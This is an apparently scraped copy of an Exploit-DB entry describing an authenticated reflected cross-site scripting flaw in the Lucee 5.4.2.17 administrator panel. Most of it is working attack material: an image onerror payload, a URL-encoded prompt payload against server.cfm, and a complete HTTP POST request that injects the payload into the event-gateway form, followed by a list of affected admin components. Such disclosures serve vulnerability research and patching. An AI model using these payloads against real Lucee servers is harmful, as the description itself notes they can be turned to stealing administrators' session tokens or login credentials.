3
[webapps] Lucee 5.4.2.17 - Authenticated Reflected XSS
source link: https://www.exploit-db.com/exploits/51668
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
Lucee 5.4.2.17 - Authenticated Reflected XSS
# Exploit Title: Lucee 5.4.2.17 - Authenticated Reflected XSS
# Google Dork: NA
# Date: 05/08/2023
# Exploit Author: Yehia Elghaly
# Vendor Homepage: https://www.lucee.org/
# Software Link: https://download.lucee.org/
# Version: << 5.4.2.17
# Tested on: Windows 10
# CVE: N/A
Summary: Lucee is a light-weight dynamic CFML scripting language with a solid foundation.Lucee is a high performance, open source, ColdFusion / CFML server engine, written in Java.
Description: The attacker can able to convince a victim to visit a malicious URL, can perform a wide variety of actions, such as stealing the victim's session token or login credentials.
The payload: ?msg=<img src=xss onerror=alert('xssya')>
http://172.16.110.130:8888/lucee/admin/server.cfm?action=%22%3E%3Cimg+src%3Dx+onerror%3Dprompt%28%29%3E
POST /lucee/admin/web.cfm?action=services.gateway&action2=create HTTP/1.1
Host: 172.16.110.130:8888
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 278
Origin: http://172.16.110.130:8888
Connection: close
Referer: http://172.16.110.130:8888/lucee/admin/web.cfm?action=services.gateway&action2=create
Cookie: cfid=ee75e255-5873-461d-a631-0d6db6adb066; cftoken=0; LUCEE_ADMIN_LANG=en; LUCEE_ADMIN_LASTPAGE=overview
Upgrade-Insecure-Requests: 1
name=AsynchronousEvents&class=&cfcPath=lucee.extension.gateway.AsynchronousEvents&id=a&_id=a&listenerCfcPath=lucee.extension.gateway.AsynchronousEventsListener&startupMode=automatic&custom_component=%3Fmsg%3D%3Cimg+src%3Dxss+onerror%3Dalert%28%27xssya%27%29%3E&mainAction=submit
[Affected Component]
Debugging-->Template
Service --> Search
Services --> Event Gateway
Service --> Logging
Recommend
About Joyk
Aggregate valuable and interesting links.
Joyk means Joy of geeK